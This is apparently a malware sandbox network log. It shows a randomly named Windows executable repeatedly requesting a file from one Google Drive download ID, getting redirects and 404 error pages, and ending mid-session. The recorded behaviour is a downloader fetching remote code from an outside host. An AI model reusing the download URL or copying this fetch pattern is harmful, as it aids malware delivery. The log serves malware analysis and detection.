2025-01-10 14:39:08 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:08 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce--mzrAqgxBIYFxqWDiHKavw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	52030	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:09 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:09 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgSqR202vsYFlGUT8F_e2rBkXD6pCvy7vEZ-FupVek8K6laBLp2o9oUT5YTNFdw5_dvZ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:09 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-4gXEqPwkoSbsn-y4SjUKsw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:09 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 52 4e 75 49 32 46 4d 35 6c 2d 67 61 39 4c 42 79 59 73 6f 36 64 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="RNuI2FM5l-ga9LByYso6dg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	52036	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:10 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:10 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:10 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-BLr1gmWPJW8QMfQvs0NNNQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	52047	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:11 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:12 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgSQlDxdwPPpnQe-m8d8HRWbvK1dV1T7h1JhMpVi234qKnTMI9rM9JLWlbh33qrady4TsoACAuU Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:11 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-SUloJBdq08Wmxnct-C8ckg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:12 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 43 50 78 30 34 62 38 53 75 75 33 73 57 4e 63 5f 4f 61 48 35 4d 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="CPx04b8Suu3sWNc_OaH5MA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	52053	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:12 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:13 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:12 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-4I6TFxJYhvhQjnKM_9MYLw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	52062	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:13 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:14 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgRTwu84u5Ut8GDTXXUUBlel7w7BRgvm1PuGo450eWbm3bRrtTwyn_DAiC-ziLTv6sEC Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:14 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-kIfC2fgDuGA5Ah0OYsRs0w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:14 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 79 75 61 77 30 7a 76 58 33 42 6a 6e 41 5a 75 61 63 64 52 58 33 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="yuaw0zvX3BjnAZuacdRX3g">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	52070	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:15 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:15 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:15 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-v4nx6z8otwgWM_8iltqh5A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	52079	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:16 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:16 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgR8F2yw_7PkrsHvGToRrzvC0tPnOg1bpkxDRE_ZfI6h1XXqaiGqJsROg4P-OAu8v2Vr Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:16 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-HFAAB58pqtatZqrZF6aAZA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:16 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 75 70 53 4b 69 58 7a 78 66 42 67 61 61 67 6d 2d 42 77 54 6a 48 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="upSKiXzxfBgaagm-BwTjHA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	52087	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:17 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
